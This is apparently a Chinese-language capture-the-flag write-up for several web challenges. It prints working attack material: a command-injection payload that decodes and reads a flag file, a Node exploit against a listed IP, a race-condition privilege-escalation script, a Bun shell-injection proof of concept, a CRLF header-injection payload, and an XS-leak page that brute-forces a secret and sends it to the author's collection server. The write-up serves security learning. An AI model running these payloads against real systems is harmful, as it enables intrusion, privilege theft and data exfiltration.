Check_in
ctrl+c ctrl+v
addr
lowercase 这块类似的前段时间 0CTF 遇到过
https://internethandout.com/post/ezupload
大概知道是 unicode 绕,找到 https://symbl.cc/cn/0131/ admın 绕过第一段
ping 的逻辑没有什么问题,肯定问题出在 ipadress 这个库里面,让 Gemini 审了一下源码,发现

::1%;cat${IFS}$(echo${IFS}L2ZsYWcK|base64${IFS}-d)
简单地绕一下一些特殊字符拿到 flag
Next_waf
https://nickchen.top/blog/dive_into_react2shell
刚好之前研究过,用p神的 utf16 绕法 + 响应体回显。很晚才看到这道题,没抢到一血,可惜。
傻福 Cloudflare 给我下面这段代码 waf 了,请前往 https://gist.github.com/nick-cjyx9/c1a173ae878a69fd1ec66ef898055916 查看
Postman
很明显要让拼接出来的 raw_form 最后解析出 admin 的邮箱和用户名,结合脚本和源码去试
const addressparser = require('nodemailer/lib/addressparser');
const tester = [
"test"
]
const invalidChars = [' ', ',', '"', "'", '\\', '/', '`', ';', '%', '<', '>', '[', ']', '{', '}', '|', ':'];
const ADMIN_EMAIL = "admin@admin.com";
const ADMIN_USERNAME = "Administrator";
function run_test() {
tester.forEach(t => {
console.log(`:::[NEW] now ${t}`)
for (const char of invalidChars) {
if (t.includes(char)) {
console.log(`[WAFED] char: ${char}`);
}
}
if (t.toLowerCase().includes("admin")) {
console.log(`[WAFED] admin`);
}
const generatedEmail = `${t}@test.com`;
const rawFrom = `${t} <${generatedEmail}>`;
console.log(`[FORM] ${rawFrom}`)
const parsed = addressparser(rawFrom);
const len = parsed.length;
const senderEntry = parsed[len - 1];
console.log(senderEntry);
const resolvedEmail = senderEntry.address;
const resolvedUsername = senderEntry.name;
if (resolvedEmail === ADMIN_EMAIL && resolvedUsername === ADMIN_USERNAME) {
console.log(`!!![PASSED] ${t}!!!`);
}
})
}
run_test()
tokenizer


waf


比对一下发现括号,换行,制表没ban。

admin 用 \r 绕

\n 可以当空格用,括号后的当作注释丢掉。
Ad\rministrator\nad\rmin@ad\rmin.com(
AI 写个 exp,
const http = require('http');
const querystring = require('querystring');
// Configuration
const HOST = '60.205.163.215';
const PORT = 51683;
const PAYLOAD_USERNAME = `Ad\rministrator\nad\rmin@ad\rmin.com(`
const PASSWORD = "pwn";
function request(method, path, data, cookie) {
return new Promise((resolve, reject) => {
const postData = data ? querystring.stringify(data) : '';
const options = {
hostname: HOST,
port: PORT,
path: path,
method: method,
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(postData)
}
};
if (cookie) options.headers['Cookie'] = cookie;
const req = http.request(options, (res) => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => resolve({ statusCode: res.statusCode, headers: res.headers, body }));
});
req.on('error', (e) => reject(e));
if (postData) req.write(postData);
req.end();
});
}
async function exploit() {
console.log(`[+] Target: http://${HOST}:${PORT}`);
console.log(`[+] Payload User: ${JSON.stringify(PAYLOAD_USERNAME)}`);
try {
// 1. Register
console.log("[*] Registering user...");
let res = await request('POST', '/register', {
username: PAYLOAD_USERNAME,
password: PASSWORD
});
let cookie = null;
if (res.headers['set-cookie']) {
cookie = res.headers['set-cookie'].map(c => c.split(';')[0]).join('; ');
}
// If no cookie, try login
if (!cookie) {
console.log("[!] No cookie from register, trying login...");
res = await request('POST', '/login', { username: PAYLOAD_USERNAME, password: PASSWORD });
if (res.headers['set-cookie']) {
cookie = res.headers['set-cookie'].map(c => c.split(';')[0]).join('; ');
}
}
if (!cookie) {
console.error("[-] Failed to get session cookie. Registration/Login failed.");
return;
}
console.log(`[+] Got Cookie: ${cookie}`);
// 2. Send Email
console.log("[*] Sending payload email...");
await request('POST', '/send', {
recipientUsername: PAYLOAD_USERNAME,
subject: "Pwn",
content: "Flag pls"
}, cookie);
// 3. Check Inbox
console.log("[*] Checking inbox for flag...");
res = await request('GET', '/', null, cookie);
const match = res.body.match(/flag\{[^}]+\}/);
if (match) {
console.log(`\n[SUCCESS] Flag: ${match[0]}\n`);
} else {
console.log("[-] Flag not found in inbox.");
}
} catch (e) {
console.error("[-] Error:", e.message);
}
}
exploit();
Bun
很新很热的 bun,第一段应该要认证成 admin,worker 操作应该是耗时的,可能能打条件竞争,
这里把创建 session 和登录分开就很奇怪了,但是只有分开才能达成创建 guest session → 验证 guest:guest → 在 worker 出结果之前替换成 admin → 认证成 admin 这条链子,AI写 PoC 打一下。
import argparse
import json
import secrets
import threading
import time
import urllib.parse
import urllib.request
def make_request(method: str, base_url: str, path: str, *, data: dict | None = None,
params: dict | None = None, timeout: float = 5.0) -> tuple[int | None, dict | None]:
url = base_url.rstrip("/") + path
if params:
url += ("?" + urllib.parse.urlencode(params))
payload = None
headers = {}
if data is not None:
payload = json.dumps(data).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=payload, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read().decode()
parsed = json.loads(body) if body else None
return resp.getcode(), parsed
except Exception as exc: ## pylint: disable=broad-except
print(f"[!] Request {method} {path} failed: {exc}")
return None, None
def try_race(base_url: str, victim_user: str, victim_password: str, target_user: str,
delay: float, timeout: float) -> tuple[bool, dict | None, str]:
session_id = f"race_{secrets.token_hex(8)}"
code, _ = make_request("POST", base_url, "/api/auth/init",
data={"sessionId": session_id, "username": victim_user}, timeout=timeout)
if code != 200:
return False, None, session_id
verify_result: dict[str, tuple[int | None, dict | None]] = {}
def do_verify():
verify_result["resp"] = make_request(
"POST", base_url, "/api/auth/verify",
data={"sessionId": session_id, "password": victim_password}, timeout=timeout,
)
verify_thread = threading.Thread(target=do_verify, daemon=True)
verify_thread.start()
## Give the password worker a moment to start, then clobber the session owner.
time.sleep(delay)
make_request("POST", base_url, "/api/auth/init",
data={"sessionId": session_id, "username": target_user}, timeout=timeout)
verify_thread.join(timeout)
if "resp" not in verify_result:
return False, None, session_id
verify_code, verify_body = verify_result["resp"]
if verify_code != 200 or not verify_body or not verify_body.get("success"):
return False, None, session_id
me_code, me_body = make_request("GET", base_url, "/api/user/me",
params={"sessionId": session_id}, timeout=timeout)
if me_code == 200 and me_body:
return me_body.get("role") == "admin", me_body, session_id
return False, None, session_id
def main() -> None:
parser = argparse.ArgumentParser(description="Privilege escalation PoC via auth race condition")
parser.add_argument("--base", default="http://localhost:3000", help="Target base URL")
parser.add_argument("--delay", type=float, default=0.02, help="Delay before clobbering session owner")
parser.add_argument("--timeout", type=float, default=5.0, help="HTTP timeout per request")
parser.add_argument("--max-attempts", type=int, default=200, help="Stop after this many attempts (0 = infinite)")
parser.add_argument("--victim-user", default="guest", help="Low-privileged username with known password")
parser.add_argument("--victim-pass", default="guest", help="Password for the victim user")
parser.add_argument("--target-user", default="admin", help="High-privileged username to steal session for")
args = parser.parse_args()
attempt = 0
while True:
attempt += 1
success, me_body, session_id = try_race(
args.base, args.victim_user, args.victim_pass, args.target_user, args.delay, args.timeout,
)
if success:
print("[+] Race won! Session ID:", session_id)
print(json.dumps(me_body, indent=2))
return
print(f"[-] Attempt {attempt} failed (session {session_id}).")
if args.max_attempts and attempt >= args.max_attempts:
print("[!] Max attempts reached without success.")
return
if __name__ == "__main__":
main()

成了。
下一步是原型链污染,重点是在没有 __proto__ 的情况下,可以污染的东西十分有限,我们该污染些什么。
比赛的时候我用 Gemini fuzz 出来了 payload:污染 toString.raw,但是一直没有理解。
在我咨询了 bun 安全团队后得到了这样的回复。
This is intentional & documented behavior.
raw, as the name suggests, is for unprocessed input. This is not a security vulnerability.
我马上去查了文档,从 https://bun.com/reference/bun/$ 和 https://bun.com/reference/bun/ShellExpression 可以知道向 $ 传入的模板字符串的内嵌变量不仅仅接受字符串,也包含所有拥有 raw 属性的对象。
type ShellExpression = { toString(): string } | ShellExpression[] | string | { raw: string } | Subprocess<SpawnOptions.Writable, SpawnOptions.Readable, SpawnOptions.Readable> | SpawnOptions.Readable | SpawnOptions.Writable | ReadableStream
也就是说以下的 PoC 在 bun 中是成立的,
import { $ } from "bun";
const payload = {
raw: '; touch pwned'
};
await $`echo ${payload}`;
所以就有了以下 payload,我们污染了 object.prototype.toString,让它作为传入模板字符串的对象,设置其 raw 为注入命令。


算是给了一个教训,以后一定要深度看文档,尤其要多翻 Reference. (其实这道题研究一下参数的 ts 类型也能做,不过这也算是另一种形式的文档了。)
notes
60000ms 延时基本确定 xs-leak
/api/search 有 CRLF 注入,但是 Firefox 严格遵循了规范 https://httpwg.org/specs/rfc6266.html#header.field.definition,很难搞

https://nvd.nist.gov/vuln/detail/CVE-2024-10461 和 https://nvd.nist.gov/vuln/detail/CVE-2025-6430 看起来是我想要的,但是被修了,playwright 的 Firefox 版本是 Firefox 146.0.1。
from urllib.parse import quote
headeri = '"\r\nContent-type:text/html;charset=UTF-8\r\n\r\n'
payload = '''<iframe src="https://webhook.site/d962416c-59c8-4cbb-8350-317b67924c0a"></iframe>'''
print('http://localhost:5000/api/search?filename={}&q={}'.format(quote(headeri),quote(payload)))
原来一直在想在 search 端点 XSS,后面吃了个饭回来脑袋突然灵光了一下。试了一下能出网,然后直接带 Access-Control-Allow-Credentials 就能爆出flag,
搓个 PoC 上 VPS
from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/')
def index():
a = open("./attack.html","r")
return a.read()
@app.route('/log')
def log():
data = request.args.get('data')
print(f"Received data: {data}")
with open('log.txt', 'a') as f:
f.write(f"Received data: {data}\n")
return "Logged"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=2333)
<!DOCTYPE html>
<html>
<script>
const vps = 'http://127.0.0.1:2333'
// Payload: dummy"\r\nAccess-Control-Allow-Origin: http://127.0.0.1:2333\r\nAccess-Control-Allow-Credentials: true\r\n\r\n
const payload = 'dummy"%0D%0AAccess-Control-Allow-Origin%3A%20http%3A//127.0.0.1%3A2333%0D%0AAccess-Control-Allow-Credentials%3A%20true%0D%0A%0D%0A'
async function brute(a) {
try {
const r = await fetch(`http://127.0.0.1:5000/api/search?filename=${payload}&q=${encodeURIComponent(a)}`, {
credentials: 'include'
})
const t = await r.text()
// console.log(t)
return t.includes(`"total": 1`)
} catch (e) {
console.error(e)
return false
}
}
async function d() {
await fetch(`${vps}/log?data=Starting...`)
let flag = 'flag{'
const r = 126
while (true) {
let found = false
for (let i = 32; i <= 126; i++) {
let c = String.fromCharCode(i);
if (await brute(flag + c)) {
flag += c;
await fetch(`${vps}/log?data=${encodeURIComponent(flag)}`)
found = true
if (c === '}') {
await fetch(`${vps}/log?data=DONE:${encodeURIComponent(flag)}`)
return
}
break;
}
}
}
}
d();
</script>
</html>

没能抢过正规子群的 AI 大人